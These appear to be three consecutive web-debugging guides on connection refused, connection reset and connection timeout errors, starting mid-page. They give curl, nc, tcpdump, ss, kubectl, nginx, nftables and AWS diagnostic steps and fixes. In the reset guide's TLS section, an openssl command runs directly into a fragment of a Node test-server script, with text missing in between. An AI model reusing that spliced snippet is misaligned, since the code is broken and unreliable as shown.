where the client fails: ```bash curl --noproxy '*' -v --connect-timeout 3 http://localhost:3000/ nc -vz 127.0.0.1 3000 nc -vz ::1 3000 ``` Look at curl's `Trying` addresses and whether it ever prints `Connected to`. `--noproxy '*'` makes this a direct probe rather than a test through an environment-configured proxy. `nc -vz` checks the TCP port without making an HTTP request. Then inspect the server, inside the relevant container or VM if necessary: ```bash # Linux: TCP listeners, numeric addresses/ports and owning processes sudo ss -ltnp # macOS, or Linux with lsof installed sudo lsof -iTCP -sTCP:LISTEN -nP ``` Match the port and bind address. `127.0.0.1:3000` accepts local IPv4 connections; `0.0.0.0:3000` listens on all local IPv4 interfaces. An IPv6 wildcard `:::3000` can also accept IPv4 on some systems, but that depends on the platform and socket configuration. Test both families. ## Fix it, in order of evidence ### 1. Nothing is listening on the requested port If the listener list has no matching address and port, start the service and inspect its startup output. Check whether it selected a different port or failed before binding. Use the port the server actually opened, not the port assumed by the frontend configuration. For a crash-looping service, inspect the failed process rather than repeatedly refreshing the browser: ```bash # Replace my-app with the systemd unit systemctl status my-app journalctl -u my-app -n 100 --no-pager # Containers, including those that exited docker ps -a docker logs --tail 100 my-app # Kubernetes: previous container instance's logs kubectl -n web describe pod POD_NAME kubectl -n web logs POD_NAME --previous ``` A process that crashes before binding leaves no listener. During a restart loop, the listener can appear and disappear. Fix the startup exception, failed dependency or container termination shown in the logs. ### 2. The app is bound to loopback inside Docker or a VM `localhost` refers to the machine or network namespace making the connection. Your browser's localhost is not the container's localhost, and a second container's localhost is not the first container. For a bridge-networked container reached through a published port, bind the app to `0.0.0.0` inside the container. For example, a Node HTTP server: ```javascript const http = require('node:http') http.createServer((req, res) => res.end('ok\n')).listen(3000, '0.0.0.0') ``` Publish that container port on the host: ```bash docker run --name my-app -p 127.0.0.1:8080:3000 my-app-image curl --noproxy '*' -v http://127.0.0.1:8080/ ``` Here the app listens on container port **3000** and the browser connects to host port **8080**. Binding the app to all container IPv4 interfaces is separate from deciding where Docker publishes the host port. [Docker's mapping documentation](https://docs.docker.com/engine/network/port-publishing/) confirms that the explicit host `127.0.0.1` binding keeps this mapping local to the host. For a VM, bind to `0.0.0.0` or its reachable interface and connect to the guest's address, or configure the VM's NAT forwarding. Publishing a Docker port cannot fix an application listening only on container loopback. ### 3. The port mapping points at the wrong container port ```bash docker ps --format 'table {{.Names}}\t{{.Status}}\t{{.Ports}}' ``` Illustrative `PORTS` values: ```text 127.0.0.1:8080->3000/tcp 3000/tcp ``` The first publishes host 8080 to container 3000. The second lists a container port without a host mapping. `EXPOSE` alone does not publish a port. Compare the right side of the arrow with the listener inside the container; compare the left side with the URL you opened. ### 4. Localhost chose IPv6, but the server listens only on IPv4 Test each family and inspect Node's resolver output: ```bash curl --noproxy '*' -4 -v http://localhost:3000/ curl --noproxy '*' -6 -v http://localhost:3000/ node -e 'require("node:dns").lookup("localhost", {all:true}, console.log)' ``` Node **17.0.0** changed the default lookup ordering to `verbatim`: keep resolver order instead of moving IPv4 first. If `::1` comes first and the client tries only that address, an IPv4-only server can fail. [`--dns-result-order=ipv4first`](https://nodejs.org/api/dns.html#dnssetdefaultresultorderorder) can diagnose that case: ```bash node --dns-result-order=ipv4first client.cjs ``` [`autoSelectFamily`](https://nodejs.org/api/net.html#socketconnectoptions-connectlistener) became enabled by default in **Node 20.0.0 and 18.18.0**. It tries resolved IPv6 and IPv4 addresses until one succeeds; if all fail, it emits an `AggregateError`. Explicit `family` or `localAddress` settings disable that selection. Check the client's options: DNS order alone does not establish the cause on current Node. A `dns.setDefaultResultOrder()` call also takes precedence over the CLI ordering flag. Use an explicit loopback address for a client meant to use one family, or make the server listen on the required families. Retest both rather than assuming an IPv6 wildcard behaves identically on every OS. ### 5. A firewall rejects the attempt Netfilter distinguishes [`reject` from `drop`](https://netfilter.org/projects/nftables/manpage.html). Reject sends an error response; `reject with tcp reset` can make an initial connection look refused. Drop silently discards the packet, which can leave the client waiting until a timeout. Other rejection types can produce different OS errors. Compare a local probe on the server with one from the failing client. If the listener exists and the local probe works, inspect firewall rules and counters along the external path. Do not equate refusal with proof that no process exists; an intervening device can reject traffic to a healthy listener. ### 6. A Kubernetes Service has no usable endpoints ```bash kubectl -n web get service my-app -o yaml kubectl -n web get endpoints my-app kubectl -n web get endpointslices -l kubernetes.io/service-name=my-app -o yaml kubectl -n web get pods -o wide --show-labels ``` Check the Service selector against Pod labels, Pod readiness, and `targetPort` against the app's actual listener. `kubectl get endpoints` is useful on older clusters; use EndpointSlices as well, as the [current Kubernetes debugging guide](https://kubernetes.io/docs/tasks/debug/debug-application/debug-service/) does. Inspect endpoint readiness, not just whether an address is listed. In [iptables kube-proxy](https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go), no endpoints at all produces REJECT rules. No *local* endpoints under a `Local` traffic policy can instead produce DROP rules. Other cluster networking implementations can differ. Inspect endpoint state before inferring the cause from “refused” versus “timeout”. ## Reproduce and verify Repeat the same client-side probe after the fix. First prove TCP connects, then prove the app answers: ```bash nc -vz 127.0.0.1 3000 curl --noproxy '*' -v http://127.0.0.1:3000/ ``` For Docker, use the published host port. For Kubernetes, probe the Service from the same network as the failing client and check its endpoints again. A TCP connection followed by an HTTP 404 or 500 proves refusal is resolved; the application response then needs its own diagnosis. ## Related - [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset): the connection is aborted during TLS or data transfer. - [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway): a reverse proxy cannot connect to its upstream. - [ERR_CONNECTION_TIMED_OUT](https://howhttpworks.com/debug/err-connection-timed-out): no reply at all, from silent firewall drops, stale addresses, broken IPv6 or a full listen backlog. - [DNS_PROBE_FINISHED_NXDOMAIN](https://howhttpworks.com/debug/dns-probe-finished-nxdomain): the name never resolved, so no connection was attempted. --- # ERR_CONNECTION_RESET and ECONNRESET: Find the RST > Fix ERR_CONNECTION_RESET, ECONNRESET and curl (56) Connection reset by peer: keep-alive races, body limits, firewalls, crashes. Find who sent the RST. Source: https://howhttpworks.com/debug/err-connection-reset Last reviewed: 2026-10-04 Error messages this page covers: - `This site can't be reached. The connection was reset. ERR_CONNECTION_RESET` - `curl: (56) Recv failure: Connection reset by peer` - `Error: read ECONNRESET` - `Error: socket hang up` - `The connection was reset. The connection to the server was reset while the page was loading.` - `ConnectionResetError: [Errno 104] Connection reset by peer` - `java.net.SocketException: Connection reset` > **TL;DR:** Something sent a TCP RST and killed the connection mid-flight. The usual suspects, in order: a keep-alive race where the client reuses a connection the server just closed, a request body over the server's limit, a firewall, NAT or IDS resetting the flow, and a process dying with unread data. Capture with `tcpdump -ni any 'tcp[tcpflags] & tcp-rst != 0'` on both ends to see which hop sent it. ## What it means A TCP connection ends one of two ways. A FIN is an orderly "I'm done sending"; an RST is "abort this connection now", and the receiving kernel throws away whatever was buffered, including a response that had already arrived but had not been read yet. `ERR_CONNECTION_RESET` is Chrome's name for the second case (net error -101, "a connection was reset (corresponding to a TCP RST)"). ```text This site can't be reached The connection was reset. ERR_CONNECTION_RESET ``` The same event in other clients: ```text Firefox: The connection was reset The connection to the server was reset while the page was loading. curl: curl: (56) Recv failure: Connection reset by peer curl: (35) OpenSSL SSL_connect: Connection reset by peer in connection to example.com:443 (RST during the TLS handshake) Node.js: Error: read ECONNRESET { errno: -104, code: 'ECONNRESET', syscall: 'read' } (errno is -54 on macOS) fetch: TypeError: fetch failed [cause]: Error: read ECONNRESET Python: ConnectionResetError: [Errno 104] Connection reset by peer requests: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer')) Go: read tcp 10.0.0.5:51234->203.0.113.10:443: read: connection reset by peer Java: java.net.SocketException: Connection reset nginx: recv() failed (104: Connection reset by peer) while reading response header from upstream ``` FIN-based closes look different, and telling them apart halves the search space: | What happened | Chrome | curl | Node.js | |---|---|---|---| | RST before any response | `ERR_CONNECTION_RESET` | `(56) Recv failure: Connection reset by peer` | `read ECONNRESET` | | FIN before any response | `ERR_EMPTY_RESPONSE` | `(52) Empty reply from server` | `socket hang up` (code `ECONNRESET`) | | FIN partway through a body with `Content-Length` | `ERR_CONTENT_LENGTH_MISMATCH` | `(18) transfer closed with N bytes remaining to read` | `aborted` | | FIN during the TLS handshake | `ERR_CONNECTION_CLOSED` | `(35) ... SSL_ERROR_SYSCALL` or `unexpected eof while reading` | `Client network socket disconnected before secure TLS connection was established` | Watch the Node row: `socket hang up` carries the code `ECONNRESET` even when the server closed cleanly, so `err.code === 'ECONNRESET'` alone does not prove an RST was sent. ## Who sent it? The RST tells you nothing about why, but where it came from narrows things fast. Capture only resets, on the client and on the server at the same time: ```bash # Linux; on macOS use -i en0 (or lo0 for local tests) sudo tcpdump -ni any -v 'tcp[tcpflags] & tcp-rst != 0 and port 443' ``` ```text 10:12:01.204512 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 203.0.113.10.443 > 10.0.0.5.51234: Flags [R], cksum 0x1c2a (correct), seq 2873450123, win 0, length 0 ``` Read it like this: - **The server's capture shows it sending the RST.** The server application or its kernel decided. Go to causes 1, 2 and 4 below. - **The client receives an RST that the server's capture never shows.** Something in between generated it: a load balancer, NAT gateway, firewall, IDS or proxy. Go to cause 3. - **The RST's TTL does not match the server's normal packets.** Compare with the `ttl` on the SYN-ACK from the same connection. An RST that arrives with a TTL a dozen hops different from the server's own packets was almost certainly injected by a middlebox. - **The RST comes from the client side.** Clients reset too, for example when a browser tab is closed mid-download. nginx then logs a [499](https://howhttpworks.com/status-codes/499) for the request. In Wireshark, filter with `tcp.flags.reset == 1`, then right-click the packet and use **Follow > TCP Stream** to see what was exchanged just before the reset. Add `ip.ttl` as a column to spot injected resets. On a Linux server, the kernel counts resets even without a capture: ```bash nstat -az TcpOutRsts TcpEstabResets TcpExtTCPAbortOnClose TcpExtTCPAbortOnData ``` `TcpExtTCPAbortOnClose` increases when an application closes a socket that still has unread data, which makes the kernel send an RST. If it climbs with your errors, your own server is resetting connections it did not finish reading (causes 2 and 4). `TcpEstabResets` counts RSTs received on established connections. ## Fix it, in order of likelihood ### 1. Keep-alive idle timeout races The classic intermittent `ECONNRESET`. HTTP/1.1 keeps connections open for reuse ([keep-alive](https://howhttpworks.com/glossary/keep-alive)). Each side has its own idle timer. When the server's timer fires at the same moment the client picks that idle connection from its pool and writes a request, the request lands on a socket the server has already closed, and the server's kernel answers with an RST. It shows up as rare, random failures under light or bursty traffic, and never in a load test. The rule: **the side that reuses connections must give up on idle connections before the side that accepts them does.** In practice the server's idle timeout must be longer than the client's or proxy's. - **Node.js server behind a load balancer.** `server.keepAliveTimeout` is 5 seconds by default (still the case in Node 26), while an AWS ALB keeps idle connections for 60 seconds. The ALB reuses a connection Node has closed, gets an RST and returns 502 to the user. This is the same race covered under keepalive mismatch in [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway): ```javascript const server = app.listen(3000) server.keepAliveTimeout = 65_000 // longer than the ALB idle timeout (60s) server.headersTimeout = 66_000 // keep above keepAliveTimeout ``` - **nginx with upstream keepalive.** nginx closes idle upstream connections after the upstream `keepalive_timeout` (60 seconds by default). Keep it below the application's idle timeout, and enable keepalive correctly: ```nginx upstream app { server 127.0.0.1:3000; keepalive 32; keepalive_timeout 30s; # shorter than the app's idle timeout } server { location / { proxy_pass http://app; proxy_http_version 1.1; proxy_set_header Connection ""; } } ``` - **Node.js as the client.** Since Node 19, `http.globalAgent` has `keepAlive: true` with a 5 second socket timeout, so a Node client talking to a server that also drops idle connections after about 5 seconds hits the race regularly. Node's docs show the fix for idempotent requests: retry when the failure happened on a reused socket. ```javascript const req = http.get('http://api.internal/health', onResponse) req.on('error', (err) => { if (req.reusedSocket && err.code === 'ECONNRESET') { // The pooled connection died under us; safe to retry a GET once retry() } }) ``` Do not blindly retry `POST` this way: the server may have processed the request before the connection died. See [idempotent methods](https://howhttpworks.com/glossary/idempotent). - **Long idle connections through AWS NAT gateways.** A NAT gateway drops a connection after 350 seconds of inactivity, and when a client behind it tries to use that connection again, the NAT gateway returns an RST (not a FIN). Database pools and long-lived HTTP clients behind NAT hit this overnight. Send traffic more often, or set TCP keepalive below 350 seconds; Linux's default `net.ipv4.tcp_keepalive_time` is 7200 seconds, far too long. Network Load Balancers behave the same way at their own idle timeout (350 seconds by default for TCP). ### 2. A request body larger than the server's limit The server reads the headers, sees a `Content-Length` over its limit, sends 413 and closes, while the client is still uploading. RFC 9112 section 9.6 describes exactly what goes wrong next: data arriving on a closed connection makes the server's TCP stack send a reset, and "the reset packet might erase the client's unacknowledged input buffers before they can be read". The 413 was sent, but the browser never sees it and shows `ERR_CONNECTION_RESET`. nginx's own documentation for `client_max_body_size` (default `1m`) warns that "browsers cannot correctly display this error". The nginx error log still records it: ```text client intended to send too large body: 20971520 bytes ``` nginx softens this with `lingering_close on` (the default): when more client data may still be coming, it keeps reading and discarding it for up to `lingering_time` (30s) before closing, so the client usually gets to read the 413. Uploads that are still going after 30 seconds get the RST anyway. Fixes: - Raise the limit where the uploads go, at every layer (nginx `client_max_body_size`, ingress-nginx `nginx.ingress.kubernetes.io/proxy-body-size`, the application's own parser limit). See [nginx 413](https://howhttpworks.com/debug/nginx-413-request-entity-too-large). - Check the file size in the browser before uploading, so users get a real message. - For very large files, upload directly to object storage with a presigned URL instead of through your app. Application servers that close the socket without reading the rest of the body cause the same reset, which shows up as `TcpExtTCPAbortOnClose` on the server. ### 3. A firewall, IDS, WAF or NAT resetting the flow Network devices reset connections they decide to stop: an IPS signature match, a firewall policy whose action is "reset" rather than "drop", a session table entry that expired, or a NAT mapping that timed out. Signs that this is your cause: - The server-side capture has no RST, but the client receives one (see "Who sent it?"). - Failures correlate with a payload (a particular file, a URL containing SQL-like text), a destination, or a time limit (connections dying at a fixed age or idle time). - The error appears on one network (office VPN, a customer's site) and not on another. Fix it in the device's policy or timeouts, not in the application. If the device is yours, its logs name the rule. If it belongs to a customer or an ISP, a pair of captures showing the RST arriving without being sent is the evidence they will ask for. Kubernetes has a well-documented internal version of this. When conntrack on a node marks a returning packet as INVALID (for example, out of the TCP window under load), kube-proxy's iptables rules do not translate it back to the Service IP. The client pod receives a packet from an address it never connected to, its own kernel answers with an RST, and the server pod sees the connection reset. The workaround from the Kubernetes write-up is to make conntrack accept such packets: ```bash sysctl -w net.netfilter.nf_conntrack_tcp_be_liberal=1 ``` ### 4. A process crash or kill mid-response When a server process dies, its kernel closes the process's sockets. What the client sees depends on what was left on the socket: - **No unread request data:** the kernel sends a FIN. The client gets `ERR_EMPTY_RESPONSE`, curl `(52) Empty reply from server`, or `(18) transfer closed with N bytes remaining to read` if part of the body had been sent. - **Unread request data in the receive buffer** (the request body had not been read yet): the kernel sends an RST, and the client gets `ERR_CONNECTION_RESET`. So a crash during a POST is more likely to look like a reset than a crash during a GET. Behind a proxy, the proxy absorbs it and the browser sees a 502 instead; nginx logs `upstream prematurely closed connection` (FIN) or `recv() failed (104: Connection reset by peer)` (RST). Look for the cause in the application's own logs or the system's: `dmesg | grep -i 'killed process'` for the OOM killer, `kubectl describe pod` for `OOMKilled` or a failed liveness probe, and worker timeouts such as Gunicorn's `WORKER TIMEOUT`. Resets can also be deliberate. nginx `return 444;` closes without a response, and with `reset_timedout_connection on` nginx sends an RST for 444 and for timed-out connections instead of a normal close. See [444](https://howhttpworks.com/status-codes/444). ### 5. TLS problems that surface as a reset If the RST arrives during the TLS handshake, Chrome reports `ERR_CONNECTION_RESET`, not a TLS error, and curl fails with exit code 35 (`OpenSSL SSL_connect: Connection reset by peer in connection to example.com:443` on OpenSSL builds, `Recv failure: Connection reset by peer` on others). If `curl -v` stops right after `Client hello`, the reset was a reaction to the ClientHello itself. Common causes: - **A middlebox that cannot handle Chrome's large ClientHello.** Chrome's post-quantum key share (X25519MLKEM768 since Chrome 131) pushes the ClientHello over one packet, and some firewalls and proxies that expected the whole ClientHello in one read reset the connection. If Chromium-based browsers fail while other clients on the same machine work, compare a small and a large ClientHello with OpenSSL 3.5 or later: `openssl s_client -connect example.com:443 -servername example.com -groups X25519` against the same command with `-groups X25519MLKEM768`. If only the second one is reset, ask the device vendor for a fixed release. - **SNI-based filtering.** Firewalls and national filters that block by the hostname in the ClientHello often answer with an RST. The same IP works with another hostname: compare `openssl s_client -connect IP:443 -servername blocked.example` with a neutral name. - **A server that resets instead of sending a TLS alert** when it has no certificate or no shared cipher. Test the handshake directly and see where it stops: ```bash openssl s_client -connect example.com:443 -servername example.com s.once('data', () => s.resetAndDestroy())).listen(7001) net.createServer((s) => s.once('data', () => s.end())).listen(7003) ``` ```bash node rst-server.cjs & curl -sS http://127.0.0.1:7001/ -o /dev/null # curl: (56) Recv failure: Connection reset by peer curl -sS http://127.0.0.1:7003/ -o /dev/null # curl: (52) Empty reply from server ``` `socket.resetAndDestroy()` sends an RST on purpose (Node 16.17 and 18.3 or later). Against the real system, verify a keep-alive fix by sending requests spaced just past the old idle timeout and confirming that the reset counters on the server stop climbing: ```bash for i in $(seq 1 20); do curl -s -o /dev/null -w '%{http_code}\n' https://example.com/health; sleep 6; done watch -n 5 'nstat -z TcpExtTCPAbortOnClose TcpOutRsts' ``` ## Related - [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway): what a proxy turns an upstream reset into, including the ALB and Node keepalive race. - [Keep-alive](https://howhttpworks.com/glossary/keep-alive) and the [Connection header](https://howhttpworks.com/headers/connection): how persistent connections are negotiated and closed. - [nginx 413](https://howhttpworks.com/debug/nginx-413-request-entity-too-large): the body limit behind most upload resets. - [444 Connection Closed Without Response](https://howhttpworks.com/status-codes/444): nginx closing on purpose, optionally with an RST. - [ERR_SSL_PROTOCOL_ERROR](https://howhttpworks.com/debug/err-ssl-protocol-error): handshake failures that end in a TLS alert rather than a reset. - [ERR_HTTP2_PROTOCOL_ERROR](https://howhttpworks.com/debug/err-http2-protocol-error): an HTTP/2 stream reset by the peer, often from headers that are illegal in HTTP/2. - [ERR_CONNECTION_REFUSED](https://howhttpworks.com/debug/err-connection-refused): the connection was rejected before it existed, including localhost, Docker and Kubernetes cases. - [ERR_CONNECTION_TIMED_OUT](https://howhttpworks.com/debug/err-connection-timed-out): no reply at all, from silent firewall drops, stale addresses, broken IPv6 or a full listen backlog. - [DNS_PROBE_FINISHED_NXDOMAIN](https://howhttpworks.com/debug/dns-probe-finished-nxdomain): the name never resolved, so no connection was attempted. --- # ERR_CONNECTION_TIMED_OUT: Trace TCP Connection Failures > Fix ERR_CONNECTION_TIMED_OUT by tracing SYN packets, checking firewalls and stale DNS, testing IPv6, and separating backlog pressure from MTU stalls. Source: https://howhttpworks.com/debug/err-connection-timed-out Last reviewed: 2026-10-05 Error messages this page covers: - `ERR_CONNECTION_TIMED_OUT` - `curl: (28) Connection timed out after 5000 milliseconds` - `curl: (28) Failed to connect to example.com port 443 after 5000 ms: Timeout was reached` - `ETIMEDOUT` - `connect ETIMEDOUT 203.0.113.10:443` - `TimeoutError: timed out` - `upstream timed out (110: Connection timed out) while connecting to upstream` > **TL;DR:** Your client sent a connection request and never heard back. Run `nc -vz -w 5 example.com 443` and `curl --noproxy '*' -v --connect-timeout 5 --max-time 15 https://example.com/`, and note the address after `Trying` and whether curl prints `Connected to`. If it never connects, capture SYN packets at both ends and check firewalls, DNS records and IPv6. If TCP connects and then TLS or the response stalls, you have a different problem, often path MTU. ## What it means Chromium defines [`ERR_CONNECTION_TIMED_OUT`](https://github.com/chromium/chromium/blob/main/net/base/net_error_list.h) as a connection attempt that timed out. A TCP connection opens with SYN, SYN-ACK, ACK ([RFC 9293](https://www.rfc-editor.org/rfc/rfc9293#section-3.10.7)). If the client keeps resending SYN and nothing comes back, packets are being silently dropped, the destination isn't responding, or replies can't find their way back. Which firewall or host is to blame is something you have to find out with captures. It helps to separate three failures that look similar from the browser: - **Timeout:** the connection didn't open before the deadline. A firewall rule that silently `DROP`s packets produces exactly this. - **[Refused](https://howhttpworks.com/debug/err-connection-refused):** something actively said no, usually an RST because nothing listens on the port. A firewall set to reject does this too. - **[Reset](https://howhttpworks.com/debug/err-connection-reset):** an RST killed the connection, often after it opened, during TLS or mid-response. When a direct TCP connection fails, there's no HTTP status at all, because HTTP never started. If a proxy is in the middle and its own upstream connection times out, you get an HTTP [504](https://howhttpworks.com/debug/nginx-504-gateway-timeout) instead. ### Exact client and server messages The messages below are examples based on the linked source code, not captured from real timeout runs. **curl 8.7.1** has separate code paths for an [overall timeout](https://github.com/curl/curl/blob/curl-8_7_1/lib/multi.c) and a [failed connection](https://github.com/curl/curl/blob/curl-8_7_1/lib/connect.c), plus the [timeout description](https://github.com/curl/curl/blob/curl-8_7_1/lib/strerror.c): ```text curl: (28) Connection timed out after 5000 milliseconds curl: (28) Failed to connect to example.com port 443 after 5000 ms: Timeout was reached ``` The milliseconds depend on your deadline and how long curl actually waited. The second message appears when a single connection attempt hits curl's timeout; an OS-level `connect()` timeout may be worded differently. Newer versions change the wording too: **curl 8.22.0** [prints the destination as `example.com:443`](https://github.com/curl/curl/blob/curl-8_22_0/lib/cf-ip-happy.c). Include `curl --version` in any bug report. Node raises [`ETIMEDOUT`](https://nodejs.org/api/errors.html#common-system-errors) when a connect or send got no response in time. Its [connect error formatter](https://github.com/nodejs/node/blob/main/lib/internal/errors.js) produces messages like this one. Check `err.syscall` as well as `err.code` to see which operation timed out: ```text connect ETIMEDOUT 203.0.113.10:443 ``` Python 3.14's [socket implementation](https://github.com/python/cpython/blob/3.14/Modules/socketmodule.c) raises `TimeoutError: timed out`. The message is the same whether connect, read or write expired, so check where in your code it was thrown. In nginx's error log on Linux, this line means nginx itself couldn't connect **to the upstream** server: ```text upstream timed out (110: Connection timed out) while connecting to upstream ``` nginx's [upstream code](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_upstream.c) logs both the timeout and what it was doing at the time. The `110: Connection timed out` part comes from Linux's [errno definitions](https://github.com/torvalds/linux/blob/master/include/uapi/asm-generic/errno.h) and the [glibc message](https://github.com/bminor/glibc/blob/master/sysdeps/gnu/errlist.h); other platforms use different numbers. If your log says `while reading response header from upstream` instead, the connection worked and the upstream was slow to answer. That's covered in the [nginx 504 guide](https://howhttpworks.com/debug/nginx-504-gateway-timeout). ## Establish which phase failed From the machine that sees the error, with your real hostname in place of `example.com`: ```bash nc -vz -w 5 example.com 443 curl --noproxy '*' -v --connect-timeout 5 --max-time 15 https://example.com/ ``` `nc` with [OpenBSD-style options](https://man.openbsd.org/nc) tests the TCP connection alone, with no HTTP involved. Flags vary between nc implementations, so check `nc -h`. [`--noproxy '*'`](https://curl.se/docs/manpage.html) makes curl ignore proxy environment variables so you test the direct route; if you normally go through a proxy, test that path as well. Note that curl's `--connect-timeout` **covers more than the SYN**: it includes DNS and the TCP, TLS or QUIC handshakes. `--max-time` caps the whole transfer. Then read the verbose output to see where it stopped: - No address, or name resolution failed: start with [DNS debugging](https://howhttpworks.com/debug/dns-probe-finished-nxdomain). - `Trying` and then nothing: TCP never connected. Work through the checks below. - `Connected to`, then the TLS handshake hangs: TCP is fine. Look at TLS and at packet-size problems. - TLS completes and the request goes out, but no response comes back: look at the application, any proxy, and the data path. These commands test HTTPS over TCP. If the browser is using HTTP/3 over QUIC, they won't reproduce its path; see [HTTP/3 and QUIC](https://howhttpworks.com/guides/http3-and-quic) for that case. ## Fix it, in diagnostic order ### 1. A firewall drops the SYN or its reply Run a capture on the client and on the server at the same time, then make one connection attempt. Swap in your real destination address: ```bash # Linux; on macOS replace any with the active interface, such as en0 sudo tcpdump -ni any 'host 203.0.113.10 and tcp port 443' # Narrow IPv4 filter: includes SYN and SYN-ACK, but excludes RST and data sudo tcpdump -ni any 'tcp[tcpflags] & tcp-syn != 0' ``` The [libpcap flag filter](https://github.com/the-tcpdump-group/libpcap/blob/master/pcap-filter.manmisc.in) matches any packet with SYN set, which includes SYN-ACK. It only works for IPv4, though, and hides RST, ACK and data. For IPv6, or to see everything, use the host/port filter. - Client sends SYN, server never sees it: check the network path, cloud firewall, security group and the destination IP. - Server sees the SYN but never answers: check the host firewall, whether something is listening, and queue pressure. - Server sends SYN-ACK, client never gets it: check the return route and outbound filtering. On a Linux server: ```bash sudo ss -ltnp 'sport = :443' sudo nft list ruleset ip route get 198.51.100.24 ``` Use your client's real address there too. Then check the cloud firewall attached to that exact NIC or instance, because no local allow rule can override a drop that happens before the packet reaches the host. On AWS, [security groups are stateful](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-security-groups.html) but [network ACLs are stateless](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-network-acls.html). So a subnet ACL has to allow both the inbound service port and the outbound replies to the client's ephemeral port. AWS's [ACL examples](https://docs.aws.amazon.com/vpc/latest/userguide/custom-network-acl.html) explain why that port range depends on the client OS. To allow a known client into a security group (the group ID and address are placeholders): ```bash aws ec2 authorize-security-group-ingress \ --group-id sg-0123456789abcdef0 \ --protocol tcp --port 443 --cidr 198.51.100.24/32 ``` Check first that an equivalent rule isn't already there. The [AWS CLI](https://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html) command only adds the ingress rule; the subnet ACL and route table are separate. With nftables, a narrowly scoped rule in an existing `inet filter input` chain looks like this: ```bash sudo nft insert rule inet filter input ip saddr 198.51.100.24 tcp dport 443 accept ``` Adjust the table, chain and source address to your setup, and save the rule through whatever manages your firewall config so it survives a reboot. [`insert`](https://netfilter.org/projects/nftables/manpage.html) puts it ahead of the chain's existing rules, but other chains and upstream firewalls get their say too. Resist flushing the whole ruleset to test one port; you'll open everything else as well. ### 2. DNS points at the wrong or retired machine ```bash dig example.com. A dig example.com. AAAA dig @1.1.1.1 example.com. A # Replace the address with the known-good endpoint curl --noproxy '*' -v --connect-timeout 5 --max-time 15 \ --resolve example.com:443:203.0.113.10 https://example.com/ ``` Compare every returned address with your current load balancer or server inventory. [`--resolve`](https://curl.se/docs/manpage.html#--resolve) points the hostname at an address you choose while keeping the hostname for TLS and HTTP. That's a better test than `https://IP/`, which breaks certificate name checks and virtual-host routing. If the override works but normal DNS hands out a retired address, fix the A/AAAA record and clear out stale hosts-file entries. Cached answers linger, so wait for them to expire before you shut down the old endpoint. If the hostname has several addresses, test each one. A single dead backend makes the failure look random, because it depends on which address the client picks. ### 3. IPv6 resolves but the path is broken ```bash curl --noproxy '*' -4 -v --connect-timeout 5 --max-time 15 https://example.com/ curl --noproxy '*' -6 -v --connect-timeout 5 --max-time 15 https://example.com/ dig example.com. AAAA # Linux server sudo ss -ltnp 'sport = :443' ip -6 route ``` If `-4` works and `-6` times out, the problem is specific to IPv6. Check that the AAAA record points at the right endpoint, that the server listens on IPv6, and that IPv6 routing and firewalls allow the connection and its replies. Then fix those, or remove the wrong AAAA record. Forcing `-4` is a way to diagnose, not a reason to leave IPv6 off. ### 4. The server listens, but its queues fill under load Linux keeps two queues: half-open handshakes, and finished connections waiting for the application to `accept()` them. The [kernel documentation](https://www.kernel.org/doc/html/latest/networking/ip-sysctl.html) covers `tcp_max_syn_backlog` and the `somaxconn` cap on the listen backlog. When the accept queue fills up, the kernel drops new SYNs, and clients time out even though `ss` shows the port listening. ```bash sudo ss -ltnp 'sport = :443' ss -nt state syn-recv 'sport = :443' nstat -az TcpExtListenOverflows TcpExtListenDrops sysctl net.core.somaxconn net.ipv4.tcp_max_syn_backlog ``` Run these again while failures are happening. If [ListenOverflows and ListenDrops](https://docs.kernel.org/networking/snmp_counter.html) are both climbing, the queue is overflowing (ListenDrops alone can rise for other reasons). The real cause is usually a blocked accept loop, saturated workers or too little capacity. A bigger queue helps absorb a burst, but the app still drains connections at the same speed. If you've measured a burst that really needs more queue space, here's an **example Linux/nginx configuration** asking for a backlog of 4096: ```nginx # Modify the existing listen directive; retain its other parameters listen 443 ssl backlog=4096; ``` ```text # /etc/sysctl.d/90-web-backlog.conf net.core.somaxconn = 4096 ``` ```bash sudo sysctl -p /etc/sysctl.d/90-web-backlog.conf sudo nginx -t && sudo nginx -s reload ``` [`backlog`](https://nginx.org/en/docs/http/ngx_http_core_module.html#listen) sets what nginx requests from `listen()`, and the kernel's `somaxconn` caps it. 4096 is an example, not a recommended value. Afterwards, confirm the config actually loaded and watch the counters. ## TCP connected, then larger packets disappeared In a classic [PMTUD black hole](https://www.rfc-editor.org/rfc/rfc2923#section-2.1), the small handshake packets get through, but larger packets are too big for some link on the path. The router that drops them is supposed to send an ICMP message back so the sender shrinks its packets. When a firewall blocks that ICMP, the sender never finds out. TCP connects fine, then TLS or the response stalls. That's a different problem from SYNs with no reply. ```bash # Linux: inspect established TCP details, including path MTU ss -tin 'dport = :443' sudo tcpdump -ni any '(host 203.0.113.10 and tcp port 443) or icmp or icmp6' ``` In the capture, look for large data segments being retransmitted over and over with no ICMP feedback, rather than handshake retries. The fix is to let IPv4 “fragmentation needed” and IPv6 “Packet Too Big” messages through your firewalls, and to set the right MTU on tunnels and interfaces for the path you measured. Setting a guessed MTU on every interface tends to create new problems. As a test on the Linux machine that's sending the large packets: ```bash sudo sysctl -w net.ipv4.tcp_mtu_probing=1 ``` This [kernel setting](https://www.kernel.org/doc/html/latest/networking/ip-sysctl.html) turns on TCP MTU probing when the kernel detects an ICMP black hole. It only helps on the side sending the large packets; changing it on the client won't fix the server's sends. If the symptom goes away, still fix the blocked ICMP or the tunnel MTU. Probing is a workaround. ## Trace the path without overreading it A successful ping doesn't tell you much here. Probe with TCP to the actual port instead: ```bash # Linux traceroute's TCP mode sudo traceroute -T -p 443 example.com # Where tcptraceroute is installed sudo tcptraceroute example.com 443 sudo mtr -T -P 443 -r -c 20 example.com ``` [`traceroute -T`](https://man7.org/linux/man-pages/man8/traceroute.8.html), [`tcptraceroute`](https://github.com/mct/tcptraceroute/blob/master/tcptraceroute.1) 